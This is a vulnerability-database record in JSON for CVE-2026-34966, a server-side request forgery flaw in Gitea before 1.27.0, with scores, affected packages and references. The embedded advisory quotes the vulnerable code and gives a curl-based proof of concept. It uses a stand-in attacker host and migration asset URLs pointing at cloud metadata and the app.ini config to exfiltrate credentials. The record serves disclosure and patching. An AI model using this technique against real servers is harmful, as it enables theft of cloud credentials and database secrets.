{"id":"CVE-2026-34966","aliases":["BIT-gitea-2026-34966","EUVD-2026-53617","GHSA-2wm4-vwp6-v7xc","GHSA-685p-fm6j-c445","GO-2026-6039"],"status":"published","title":"Gitea prior to 1.27.0 SSRF via Migration URI Fetch Bypass","description":"Gitea prior to 1.27.0 contains a server-side request forgery vulnerability that allows authenticated attackers to bypass SSRF protections by exploiting HTTP fetch operations in migration and OAuth avatar code paths that use Go's default http.Get without a custom DialContext. Attackers can supply arbitrary URLs through release asset download URLs, pull-request patch URLs, or OAuth avatar endpoints to reach internal services, cloud instance-metadata endpoints, or read local files such as the application configuration containing database credentials and signing secrets, with exfiltrated content persisted as migration release assets for later retrieval.","severity":{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00389,"percentile":0.33483,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-918"],"published":"2026-07-21T21:55:31Z","modified":"2026-10-28T02:31:12Z","affected":[{"source":"osv","ecosystem":"Bitnami","package":"gitea","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.27.0"}]}],"bundled":2},{"source":"osv","ecosystem":"Go","package":"code.gitea.io/gitea","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.27.0"}]}],"bundled":2},{"source":"osv","ecosystem":"Go","package":"gitea.dev","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.27.0"}]}],"bundled":2},{"source":"osv","ecosystem":"Go","package":"gitea.dev","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.27.0"}]}],"bundled":2}],"products":[{"vendor":"gitea","product":"gitea"}],"references":[{"url":"https://github.com/go-gitea/gitea","tags":["product","web","package"]},{"url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-2wm4-vwp6-v7xc","tags":["vendor-advisory","exploit","web","advisory"]},{"url":"https://github.com/go-gitea/gitea/commit/b969123b7fac51c88daab5cb64e5b2f4abd53288","tags":["patch","web","fix"]},{"url":"https://www.vulncheck.com/advisories/gitea-prior-to-ssrf-via-migration-uri-fetch-bypass","tags":["third-party-advisory","web","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34966","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-685p-fm6j-c445"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34966.json","tags":["advisory"]},{"url":"https://blog.gitea.com/gitea-1.27.0-is-released/","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59765.json","tags":["advisory"]},{"url":"https://github.com/go-gitea/gitea/releases/tag/v1.27.0","tags":["advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59765","tags":["advisory"]},{"url":"https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31","tags":["web"]},{"url":"https://blog.gitea.com/gitea-1.27.0-is-released","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-34966","title":"Gitea prior to 1.27.0 SSRF via Migration URI Fetch Bypass","description":"Gitea prior to 1.27.0 contains a server-side request forgery vulnerability that allows authenticated attackers to bypass SSRF protections by exploiting HTTP fetch operations in migration and OAuth avatar code paths that use Go's default http.Get without a custom DialContext. Attackers can supply arbitrary URLs through release asset download URLs, pull-request patch URLs, or OAuth avatar endpoints to reach internal services, cloud instance-metadata endpoints, or read local files such as the application configuration containing database credentials and signing secrets, with exfiltrated content persisted as migration release assets for later retrieval.","status":"published","published":"2026-08-05T20:28:57.744Z","modified":"2026-11-08T14:02:15.051Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-08T15:43:33.322657Z"}],"euvd":[{"id":"EUVD-2026-53617","description":"Gitea prior to 1.27.0 contains a server-side request forgery vulnerability that allows authenticated attackers to bypass SSRF protections by exploiting HTTP fetch operations in migration and OAuth avatar code paths that use Go's default http.Get without a custom DialContext. Attackers can supply arbitrary URLs through release asset download URLs, pull-request patch URLs, or OAuth avatar endpoints to reach internal services, cloud instance-metadata endpoints, or read local files such as the application configuration containing database credentials and signing secrets, with exfiltrated content persisted as migration release assets for later retrieval.","status":"published","published":"2026-08-05T20:28:57Z","modified":"2026-11-08T14:02:15Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","level":"high"}],"updated_at":"2026-11-08T15:13:09.268962Z"}],"ghsa":[{"id":"GHSA-685p-fm6j-c445","title":"Gitea prior to 1.27.0 contains a server-side request forgery vulnerability that allows...","description":"Gitea prior to 1.27.0 contains a server-side request forgery vulnerability that allows authenticated attackers to bypass SSRF protections by exploiting HTTP fetch operations in migration and OAuth avatar code paths that use Go's default http.Get without a custom DialContext. Attackers can supply arbitrary URLs through release asset download URLs, pull-request patch URLs, or OAuth avatar endpoints to reach internal services, cloud instance-metadata endpoints, or read local files such as the application configuration containing database credentials and signing secrets, with exfiltrated content persisted as migration release assets for later retrieval.","status":"published","published":"2026-08-05T21:31:39Z","modified":"2026-08-05T21:31:47Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:10:07.926015Z"}],"nvd":[{"id":"CVE-2026-34966","description":"Gitea prior to 1.27.0 contains a server-side request forgery vulnerability that allows authenticated attackers to bypass SSRF protections by exploiting HTTP fetch operations in migration and OAuth avatar code paths that use Go's default http.Get without a custom DialContext. Attackers can supply arbitrary URLs through release asset download URLs, pull-request patch URLs, or OAuth avatar endpoints to reach internal services, cloud instance-metadata endpoints, or read local files such as the application configuration containing database credentials and signing secrets, with exfiltrated content persisted as migration release assets for later retrieval.","status":"published","published":"2026-08-05T21:16:58.187Z","modified":"2026-10-08T16:17:13.85Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:35.031043Z"}],"osv":[{"id":"CVE-2026-34966","title":"Gitea prior to 1.27.0 SSRF via Migration URI Fetch Bypass","description":"Gitea prior to 1.27.0 contains a server-side request forgery vulnerability that allows authenticated attackers to bypass SSRF protections by exploiting HTTP fetch operations in migration and OAuth avatar code paths that use Go's default http.Get without a custom DialContext. Attackers can supply arbitrary URLs through release asset download URLs, pull-request patch URLs, or OAuth avatar endpoints to reach internal services, cloud instance-metadata endpoints, or read local files such as the application configuration containing database credentials and signing secrets, with exfiltrated content persisted as migration release assets for later retrieval.","status":"published","published":"2026-08-05T20:28:57.744Z","modified":"2026-11-09T02:30:32.505591048Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-09T03:16:44.651171Z"},{"id":"CVE-2026-59765","title":"SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata","description":"SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata","status":"published","published":"2026-08-13T16:44:59.148Z","modified":"2026-10-28T02:30:31.422738788Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"GHSA-2wm4-vwp6-v7xc","title":"Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata","description":"### Summary\n\nGitea has robust SSRF protection via `hostmatcher.NewDialContext()` for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw `http.Get()` (Go's `DefaultClient`) which completely bypasses this protection, enabling SSRF to internal services and local file read via the `file://` scheme.\n\n### Vulnerable Code\n\n**File: `modules/uri/uri.go` (line 32) -- Core vulnerability**\n\n```go\nfunc Open(uriStr string) (io.ReadCloser, error) {\n    u, err := url.Parse(uriStr)\n    switch strings.ToLower(u.Scheme) {\n    case \"http\", \"https\":\n        f, err := http.Get(uriStr)   // RAW http.Get -- no hostmatcher filtering\n        return f.Body, nil\n    case \"file\":\n        return os.Open(u.Path)        // LOCAL FILE READ via file:// scheme\n    }\n}\n```\n\n**Callers in migration path:**\n- `services/migrations/gitea_uploader.go:340` -- `uri.Open(*asset.DownloadURL)` for release assets\n- `services/migrations/gitea_uploader.go:586` -- `uri.Open(pr.PatchURL)` for PR patches\n\n**File: `services/migrations/dump.go` (lines 312, 453)**\n\n```go\n// Line 312 -- release asset download\nresp, err := http.Get(*asset.DownloadURL)\n\n// Line 453 -- PR patch download (with self-documenting TODO)\nresp, err := http.Get(u) // TODO: This probably needs to use the downloader\n```\n\n**File: `routers/web/auth/oauth.go` (line 306)**\n\n```go\nfunc oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {\n    resp, err := http.Get(url)    // RAW http.Get -- no hostmatcher\n```\n\n**Contrast with protected migration clone (same codebase):**\n\n```go\n// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher\ntransport.DialContext = hostmatcher.NewDialContext(\"migration\", allowList, blockList, ...)\n```\n\n### PoC\n\n```bash\n# Step 1: Set up attacker Gitea instance with malicious release asset URLs\n# Create a repo on evil.gitea.attacker.com with a release asset whose\n# download_url points to internal services:\n\n# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role\n# Or: file:///etc/gitea/app.ini (local file read)\n\n# Step 2: Admin triggers migration from attacker's Gitea instance\ncurl -s -X POST \"https://target-gitea.com/api/v1/repos/migrate\" \\\n  -H \"Authorization: token ADMIN_API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"clone_addr\": \"https://evil.gitea.attacker.com/user/repo.git\",\n    \"repo_name\": \"migrated-repo\",\n    \"repo_owner\": \"admin\",\n    \"service\": \"gitea\"\n  }'\n\n# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()\n# Cloud metadata is saved as the release asset attachment in the migrated repo\n# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme\n\n# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data\ncurl -s \"https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt\"\n```\n\n### Impact\n\n- **Cloud metadata theft:** `169.254.169.254` reachable via unfiltered `http.Get()` (AWS IMDSv1 credentials, GCP tokens)\n- **Local file read:** `file://` scheme in `uri.Open()` reads `/etc/gitea/app.ini` (database credentials, JWT signing secrets, SMTP passwords)\n- **Internal service scanning:** Reach `127.0.0.1`, `10.x`, `172.16-31.x`, `192.168.x` networks\n- **Bypasses existing SSRF protection:** The `hostmatcher` dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected\n- Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source","status":"published","published":"2026-07-21T21:55:31Z","modified":"2026-10-14T11:11:12.586131494Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"},{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:34.700741Z"},{"id":"BIT-gitea-2026-34966","title":"Gitea prior to 1.27.0 SSRF via Migration URI Fetch Bypass","description":"Gitea prior to 1.27.0 contains a server-side request forgery vulnerability that allows authenticated attackers to bypass SSRF protections by exploiting HTTP fetch operations in migration and OAuth avatar code paths that use Go's default http.Get without a custom DialContext. Attackers can supply arbitrary URLs through release asset download URLs, pull-request patch URLs, or OAuth avatar endpoints to reach internal services, cloud instance-metadata endpoints, or read local files such as the application configuration containing database credentials and signing secrets, with exfiltrated content persisted as migration release assets for later retrieval.","status":"published","published":"2026-10-14T08:42:57.193Z","modified":"2026-10-14T11:11:12.586131494Z","updated_at":"2026-11-02T15:28:29.999658Z"},{"id":"GO-2026-6039","title":"Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata in gitea.dev","description":"Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata in gitea.dev","status":"published","published":"2026-07-22T20:36:35Z","modified":"2026-10-14T11:11:12.586131494Z","updated_at":"2026-11-02T15:47:02.838915Z"}]}}